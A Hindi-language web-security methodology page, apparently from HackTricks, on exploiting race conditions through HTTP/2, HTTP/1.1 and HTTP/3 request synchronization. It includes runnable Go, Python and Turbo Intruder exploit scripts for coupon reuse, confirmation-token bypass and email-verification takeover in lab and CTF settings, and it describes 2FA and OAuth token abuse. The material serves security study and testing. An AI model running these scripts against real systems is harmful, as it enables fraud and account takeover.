Race Condition

Reading time: 20 minutes

Race Condition हमलों को सशक्त करना

Race conditions का फायदा उठाने में मुख्य बाधा यह सुनिश्चित करना है कि कई requests एक ही समय पर संभाले जाएँ, और उनके processing times में बहुत ही कम फर्क हो—आदर्श रूप से 1ms से कम।

नीचे Requests को समकालिक करने (Synchronizing Requests) के लिए कुछ तकनीकें दी गई हैं:

HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization

• HTTP/2: एक single TCP कनेक्शन पर दो requests भेजने को सपोर्ट करता है, जिससे network jitter का प्रभाव घटता है। हालांकि, server-side भिन्नताओं के कारण, दो requests किसी consistent race condition exploit के लिए पर्याप्त नहीं हो सकते।
• HTTP/1.1 'Last-Byte Sync': 20-30 requests के अधिकांश हिस्सों को पहले से भेजने में सक्षम बनाता है, एक छोटा सा fragment रोक कर रखता है, जिसे फिर साथ में भेजा जाता है, और इससे server पर एक साथ arrival हासिल होता है।

Last-Byte Sync की तैयारी में शामिल है:

1. HEADERS और body data को अंतिम बाइट को छोड़कर भेजना, stream को end किए बिना।
2. प्रारंभिक भेजने के बाद 100ms के लिए रोक लगाना।
3. अंतिम frames को बैच करने के लिए Nagle के algorithm का उपयोग करने हेतु TCP_NODELAY को disable करना।
4. कनेक्शन को warm up करने के लिए ping करना।

बाद में रोक कर रखे गए frames को भेजने से वे एक single packet में पहुँचना चाहिए, जिसे Wireshark से सत्यापित किया जा सकता है। यह तरीका static files पर लागू नहीं होता, क्योंकि आम तौर पर वे RC attacks में शामिल नहीं रहते।

HTTP/3 Last‑Frame Synchronization (QUIC)

• Concept: HTTP/3 QUIC (UDP) पर चलता है। TCP coalescing या Nagle पर भरोसा करने का विकल्प नहीं होने के कारण क्लासिक last‑byte sync off‑the‑shelf clients के साथ काम नहीं करता। इसके बजाय, आपको जानबूझकर कई QUIC stream‑final DATA frames (FIN) को एक ही UDP datagram में coalesce करना होगा ताकि server सभी target requests को एक ही scheduling tick में process करे।
• How to do it: QUIC frame control expose करने वाली purpose‑built library का उपयोग करें। उदाहरण के लिए, H3SpaceX quic-go को manipulate करता है ताकि HTTP/3 last‑frame synchronization को requests-with-body और GET‑style requests (बिना body) दोनों के लिए implement किया जा सके।
• Requests‑with‑body: N streams के लिए HEADERS + DATA को अंतिम बाइट को छोड़कर भेजें, फिर प्रत्येक stream की final बाइट को एक साथ flush करें।
• GET‑style: fake DATA frames बनाकर (या Content‑Length के साथ एक छोटा body) और सभी streams को एक ही datagram में end करें।
• Practical limits:
• Concurrency peer के QUIC max_streams transport parameter द्वारा bounded है (जो HTTP/2 के SETTINGS_MAX_CONCURRENT_STREAMS जैसा है)। यदि यह कम है, तो कई H3 connections खोलें और race को उनके बीच फैलाएँ।
• UDP datagram size और path MTU यह cap करते हैं कि आप कितने stream‑final frames को coalesce कर सकते हैं। यदि आवश्यकता हो तो library कई datagrams में splitting संभाल लेती है, पर single‑datagram flush सबसे भरोसेमंद होता है।
• Practice: सार्वजनिक H2/H3 race labs और sample exploits H3SpaceX के साथ उपलब्ध हैं।

package main
import (
"crypto/tls"
"context"
"time"
"github.com/nxenon/h3spacex"
h3 "github.com/nxenon/h3spacex/http3"
)
func main(){
tlsConf := &tls.Config{InsecureSkipVerify:true, NextProtos:[]string{h3.NextProtoH3}}
quicConf := &quic.Config{MaxIdleTimeout:10*time.Second, KeepAlivePeriod:10*time.Millisecond}
conn, _ := quic.DialAddr(context.Background(), "IP:PORT", tlsConf, quicConf)
var reqs []*http.Request
for i:=0;i<50;i++{ r,_ := h3.GetRequestObject("https://target/apply", "POST", map[string]string{"Cookie":"sess=...","Content-Type":"application/json"}, []byte(`{"coupon":"SAVE"}`)); reqs = append(reqs,&r) }
// keep last byte (1), sleep 150ms, set Content-Length
h3.SendRequestsWithLastFrameSynchronizationMethod(conn, reqs, 1, 150, true)
}

सर्वर आर्किटेक्चर के अनुसार अनुकूलन

लक्षित सिस्टम की आर्किटेक्चर को समझना बहुत जरूरी है। फ्रंट-एंड सर्वर अनुरोधों को अलग तरीकों से route कर सकते हैं, जिससे timing प्रभावित हो सकती है। अनावश्यक अनुरोधों के माध्यम से preemptive server-side connection warming अनुरोधों की timing को सामान्य कर सकता है।

Session-आधारित लॉकिंग को संभालना

PHP's session handler जैसे फ्रेमवर्क session के आधार पर requests को serialize करते हैं, जो संभावित रूप से vulnerabilities को छुपा सकते हैं। हर request के लिए अलग session tokens का उपयोग इस समस्या को बायपास कर सकता है।

Rate या Resource Limits को पार करना

यदि connection warming अप्रभावी है, तो dummy requests की बाढ़ के जरिए web servers के rate या resource limit delays को जानबूझकर ट्रिगर करना single-packet attack को आसान बना सकता है, क्योंकि इससे server-side delay पैदा होगा जो race conditions के लिए अनुकूल होता है।

हमले के उदाहरण

• Turbo Intruder - HTTP2 single-packet attack (1 endpoint): आप अनुरोध को Turbo intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder) में भेज सकते हैं, अनुरोध में आप उस value को बदल सकते हैं जिसे आप brute force करना चाहते हैं — जैसे %s स्थान पर csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s — और फिर drop down से examples/race-single-packer-attack.py चुनें:

यदि आप विभिन्न मान भेजने जा रहे हैं, तो आप कोड को इस तरह बदल सकते हैं जो clipboard से एक wordlist का उपयोग करता है:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

• Turbo Intruder - HTTP2 single-packet attack (Several endpoints): यदि आपको एक endpoint पर request भेजना है और फिर RCE ट्रिगर करने के लिए अन्य endpoints पर कई request भेजने हैं, तो आप race-single-packet-attack.py स्क्रिप्ट को कुछ इस तरह बदल सकते हैं:

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)

• यह भी Repeater में उपलब्ध है, Burp Suite के नए 'Send group in parallel' विकल्प के माध्यम से।
• limit-overrun के लिए आप group में बस same request 50 times जोड़ सकते हैं।
• connection warming के लिए आप group के beginning में web server के किसी non static भाग के लिए कुछ requests add कर सकते हैं।
• 2 substates steps में एक request और दूसरी request के प्रोसेसिंग के between प्रक्रिया को delaying करने के लिए, आप दोनों requests के between अतिरिक्त requests add कर सकते हैं।
• एक multi-endpoint RC के लिए आप उस request को भेजना शुरू कर सकते हैं जो goes to the hidden state, और ठीक उसके बाद उसे exploits the hidden state करने के लिए 50 requests भेज सकते हैं।

• Automated python script: इस script का उद्देश्य एक user का email बदलना है और लगातार उसे verify करते रहना जब तक नए email का verification token अंतिम email पर न पहुँच जाए (यह इसलिए क्योंकि code में एक RC देखा गया था जहाँ email को modify किया जा सकता था पर verification पुराने email पर भेज दिया जाता था क्योंकि email इंगित करने वाला variable पहले वाले से पहले ही populated था).
  जब प्राप्त ईमेल्स में "objetivo" शब्द मिलता है तो हम जानते हैं कि हमने बदले गए email का verification token प्राप्त कर लिया है और हम attack समाप्त कर देते हैं।

# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: "+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: "+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Turbo Intruder: engine and gating notes

• Engine selection: HTTP/2 लक्ष्यों पर Engine.BURP2 का उपयोग करें ताकि single‑packet attack ट्रिगर हो; HTTP/1.1 last‑byte sync के लिए Engine.THREADED या Engine.BURP पर वापस जाएँ।
• gate/openGate: कई कॉपीज़ को gate='race1' (या per‑attempt gates) के साथ queue करें, जो हर request की tail को रोकता है; openGate('race1') सभी tails को एक साथ flush करता है ताकि वे लगभग एक साथ पहुँचें।
• Diagnostics: Turbo Intruder में negative timestamps यह संकेत करते हैं कि server ने request पूरी तरह भेजे जाने से पहले respond कर दिया, जो overlap को प्रमाणित करता है। यह true races में अपेक्षित है।
• Connection warming: पहले एक ping या कुछ harmless requests भेजें ताकि timings स्थिर हों; वैकल्पिक रूप से अंतिम frames के batching को प्रोत्साहित करने के लिए TCP_NODELAY डिसेबल करें।

Improving Single Packet Attack

Original research में बताया गया था कि इस attack की सीमा 1,500 bytes है। हालांकि, this post, में समझाया गया कि यह संभव है कि single packet attack की 1,500‑byte सीमा को 65,535 B window limitation of TCP by using IP layer fragmentation तक बढ़ाया जाए (single packet को कई IP packets में विभाजित करना) और उन्हें अलग क्रम में भेजना, ताकि packet को तब तक reassemble होने से रोका जा सके जब तक सभी fragments server तक न पहुँचें। इस technique ने researcher को लगभग 166ms में 10,000 requests भेजने की अनुमति दी।

ध्यान दें कि यद्यपि यह सुधार उन RC के लिए attack को अधिक विश्वसनीय बनाता है जिनमें सैकड़ों/हज़ारों packets को एक साथ पहुँचने की आवश्यकता होती है, इसका कुछ software सीमाएँ भी हो सकती है। कुछ लोकप्रिय HTTP servers जैसे Apache, Nginx और Go में SETTINGS_MAX_CONCURRENT_STREAMS का सख्त सेटिंग क्रमशः 100, 128 और 250 है। हालांकि, NodeJS और nghttp2 जैसे अन्य में यह अनलिमिटेड है.
इसका मूल अर्थ यह है कि Apache केवल एक single TCP connection से 100 HTTP connections ही मानेगा (जो इस RC attack को सीमित करता है)। HTTP/3 के लिए समान सीमा QUIC’s max_streams transport parameter है — अगर यह छोटा है, तो अपना race कई QUIC connections में फैलाएं।

You can find some examples using this technique in the repo https://github.com/Ry0taK/first-sequence-sync/tree/main.

Raw BF

पहले के research से पहले कुछ ऐसे payloads इस्तेमाल किए जाते थे जो बस packets को यथासंभव तेज़ी से भेजकर RC पैदा करने की कोशिश करते थे।

• Repeater: पिछले अनुभाग के examples देखें।
• Intruder: request को Intruder में भेजें, Options menu में number of threads को 30 पर सेट करें, payload के रूप में Null payloads चुनें और 30 generate करें।
• Turbo Intruder

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)

• Python - asyncio

import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Methodology

Limit-overrun / TOCTOU

यह race condition का सबसे बुनियादी प्रकार है जहाँ vulnerabilities उन जगहों पर दिखाई देते हैं जो किसी क्रिया को करने की संख्या को सीमित करती हैं। जैसे किसी वेब स्टोर में एक ही discount code को कई बार इस्तेमाल करना। एक बहुत आसान उदाहरण this report या this bug में पाया जा सकता है।

There are many variations of this kind of attack, including:

• Redeeming a gift card multiple times
• Rating a product multiple times
• Withdrawing or transferring cash in excess of your account balance
• Reusing a single CAPTCHA solution
• Bypassing an anti-brute-force rate limit

Hidden substates

कठिन race conditions का फायदा उठाने में अक्सर उन छोटे अवसरों का लाभ लेना शामिल होता है जब आप छुपे हुए या unintended machine substates के साथ इंटरैक्ट कर सकते हैं। इसे कैसे एप्रोच करें:

1. Identify Potential Hidden Substates

• प्रारम्भ करें उन endpoints की पहचान से जो critical data (जैसे user profiles या password reset processes) को modify या interact करते हैं। ध्यान केंद्रित करें:
• Storage: server-side persistent data को manipulate करने वाले endpoints को प्राथमिकता दें उन endpoints पर जो client-side डेटा को handle करते हैं।
• Action: ऐसे operations खोजें जो existing data को alter करते हैं — ये नए data जोड़ने वाले operations की तुलना में exploit होने योग्य स्थितियाँ बनाने की संभावना रखते हैं।
• Keying: सफल attacks आमतौर पर उन्हीं identifier पर keyed operations शामिल करते हैं, उदाहरण के तौर पर username या reset token।

2. Conduct Initial Probing

• पहचाने गए endpoints पर race condition attacks करके परीक्षण करें और expected परिणामों से किसी भी deviation का अवलोकन करें। Unexpected responses या application व्यवहार में बदलाव एक vulnerability का संकेत दे सकते हैं।

3. Demonstrate the Vulnerability

• हमले को exploit करने के लिए आवश्यक न्यूनतम requests तक सीमित करें — अक्सर सिर्फ दो। यह चरण सटीक timing की वजह से कई प्रयासों या automation की मांग कर सकता है।

Time Sensitive Attacks

requests के timing में सटीकता vulnerabilities को उजागर कर सकती है, खासकर जब security tokens के लिए predictable methods जैसे timestamps का उपयोग होता है। उदाहरण के लिए, timestamps के आधार पर password reset tokens जनरेट करने से simultaneous requests के लिए identical tokens मिल सकते हैं।

To Exploit:

• सटीक timing का उपयोग करें, जैसे single packet attack, ताकि concurrent password reset requests भेजी जा सकें। Identical tokens एक vulnerability का संकेत हैं।

Example:

• एक ही समय में दो password reset tokens के लिए अनुरोध करें और उनकी तुलना करें। मेल खाने वाले tokens token generation में एक flaw का संकेत देते हैं।

इसे देखें PortSwigger Lab इसे आज़माने के लिए।

Hidden substates case studies

Pay & add an Item

देखें PortSwigger Lab कि कैसे किसी store में भुगतान (pay) करके और एक अतिरिक्त आइटम add कर सकते हैं जिसे आपको तुरंत भुगतान करने की आवश्यकता नहीं होगी।

Confirm other emails

विचार यह है कि एक ही समय में एक email address को verify करें और उसे किसी दूसरे पते में बदल दें ताकि पता चले कि प्लेटफ़ॉर्म नए पते की verification करता है या नहीं।

Change email to 2 emails addresses Cookie based

According to this research Gitlab इस तरह takeover के प्रति vulnerable था क्योंकि यह संभव था कि यह एक ईमेल का email verification token दूसरे ईमेल पर भेज दे।

इसे देखें PortSwigger Lab इसे आज़माने के लिए।

Hidden Database states / Confirmation Bypass

यदि किसी database के अंदर जानकारी जोड़ने के लिए 2 different writes उपयोग किए जाते हैं, तो एक छोटा समय-अंतर होता है जब only the first data has been written होता है। उदाहरण के लिए, जब एक user बनाया जा रहा हो तो पहले username और password लिखा जा सकता है और उसके बाद newly created account को confirm करने के लिए the token लिखा जाता है। इसका मतलब है कि एक छोटे समय के लिए token to confirm an account is null रह सकता है।

इसलिए, तुरंत account confirm करने के लिए registering an account and sending several requests with an empty token (token= or token[]= or any other variation) भेजने से आप ऐसे account को confirm कर सकते हैं जिसका ईमेल आप control नहीं करते।

इसे देखें PortSwigger Lab इसे आज़माने के लिए।

Bypass 2FA

नीचे दिया गया pseudo-code race condition के लिए vulnerable है क्योंकि बेहद छोटे समय में 2FA is not enforced जबकि session बनाया जा रहा है:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 स्थायी पहुँच

There are several OAUth providers. ये सेवाएँ आपको एक application बनाने और उन users को authenticate करने देती हैं जिन्हें provider ने register किया है। इसके लिए client को आपके application को उनके कुछ डेटा तक access करने की अनुमति देनी होगी inside of the OAUth provider.
तो, यहाँ तक यह बस google/linkedin/github... जैसी सामान्य login प्रक्रिया है जहाँ आपको एक पेज दिखाया जाता है जिस पर लिखा होता है: "Application wants to access your information, do you want to allow it?"

Race Condition in authorization_code

Problem तब उत्पन्न होता है जब आप accept it करते हैं और यह स्वचालित रूप से एक authorization_code malicious application को भेज देता है। फिर यह application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT (Authentication Token/Refresh Token) आपके खाते के लिए authorization_code से। मूलतः, यह इस तथ्य का दुरुपयोग करता है कि आपने application को अपने डेटा तक पहुँच देने की अनुमति दी है ताकि कई खाते बनाए जा सकें। फिर, यदि आप application को अपने डेटा तक पहुँच देना बंद करते हैं तो एक जोड़ी AT/RT हटाई जा सकती है, लेकिन बाकी जोड़ी अभी भी मान्य रहेगी।

Race Condition in Refresh Token

एक बार जब आपके पास obtained a valid RT हो जाता है, तो आप इसे दुरुपयोग करके कई AT/RT जनरेट करने की कोशिश कर सकते हैं और यहाँ तक कि अगर उपयोगकर्ता malicious application के लिए permissions रद्द कर दे, तब भी कई RTs अभी भी मान्य रहेंगे।

RC in WebSockets

• In WS_RaceCondition_PoC you can find a PoC in Java to send websocket messages in parallel to abuse Race Conditions also in Web Sockets.
• With Burp’s WebSocket Turbo Intruder you can use the THREADED engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune config() (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See RaceConditionExample.py.

References

• https://hackerone.com/reports/759247
• https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html
• https://hackerone.com/reports/55140
• https://portswigger.net/research/smashing-the-state-machine
• https://portswigger.net/web-security/race-conditions
• https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/
• WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
• WebSocketTurboIntruder – GitHub
• RaceConditionExample.py
• H3SpaceX (HTTP/3 last‑frame sync) – Go package docs
• PacketSprinter: Simplifying HTTP/2 Single‑Packet Testing (Route Zero blog)